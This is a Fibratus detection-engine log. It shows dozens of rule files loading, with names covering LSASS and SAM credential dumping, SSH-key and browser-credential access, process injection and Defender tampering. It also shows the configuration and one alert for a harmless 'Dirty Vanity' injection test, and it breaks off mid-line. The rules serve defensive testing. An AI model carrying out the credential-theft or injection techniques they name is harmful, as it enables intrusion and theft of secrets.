source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-10T18:06:19+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-10T18:06:19+01:00 level=info msg=bootstrapping with pid 8844. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-10T18:06:19+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true content-type=>text/html to=>[] enabled=>false port=>25] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ enable-vamap=>true enable-audit-api=>true min-buffers=>16 enable-image=>true stack-enrichment=>true enable-net=>true enable-dns=>false enable-thread=>true enable-handle=>false flush-interval=>1s enable-mem=>false enable-registry=>true enable-threadpool=>false max-buffers=>36 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-fileio=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-age=>0 log-stdout=>true level=>info max-backups=>15 max-size=>100] + output ......................... [ elasticsearch=>[ healthcheck-interval=>10s sniff=>false gzip-compression=>false healthcheck-timeout=>5s timeout=>5s servers=>[http://127.0.0.1:9200] healthcheck=>true bulk-workers=>1 index-name=>fibratus flush-period=>1s template-name=>fibratus trace-log=>false enabled=>false] http=>[ serializer=>json timeout=>5s endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false enabled=>false method=>POST] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] amqp=>[ enabled=>false timeout=>5s routing-key=>fibratus passive=>false exchange=>fibratus vhost=>/ durable=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672 delivery-mode=>transient exchange-type=>topic] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-sections=>false read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-allocs=>false skip-files=>false excluded-files=>[] fastscan=>true enabled=>false skip-registry=>false scan-timeout=>10s skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-10T18:06:20+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-10T18:06:22+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-10T18:06:33+01:00 level=info msg=sending alert: [Process creation from a stomped module]. Text: Event(s): + Seq: 1189633 + Pid: 23120 + Tid: 13752 + Type: CreateProcess + CPU: 1 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-10 18:06:27.127114 +0100 CET + Params: cmdline➜ \??\C:\Windows\System32\cmd.exe /k msg * Hello from Dirty Vanity, directory_table_base➜ 3cceb1000, domain➜ ARCHRABBIT, exe➜ C:\Windows\System32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffaa05443df080, name➜ cmd.exe, pid➜ 10344, ppid➜ 23120, real_ppid➜ 23120, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-10 18:06:27.1270521 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0005/, tactic.id: TA0005, tactic.name: Defense Evasion, rule.seq.link: 18305443848001683456, rule.name: Process creation from a stomped module + + Pid: 23120 + Ppid: 1040 + Name: regedit.exe + Parent name: explorer.exe + Cmdline: "C:\WINDOWS\regedit.exe" + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\WINDOWS\regedit.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\regedit.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-10T18:06:46+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-10T18:06:46+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-10T18:06:46+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-10T18:11:39+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_creation_from_stomped_module.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-10T18:11:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 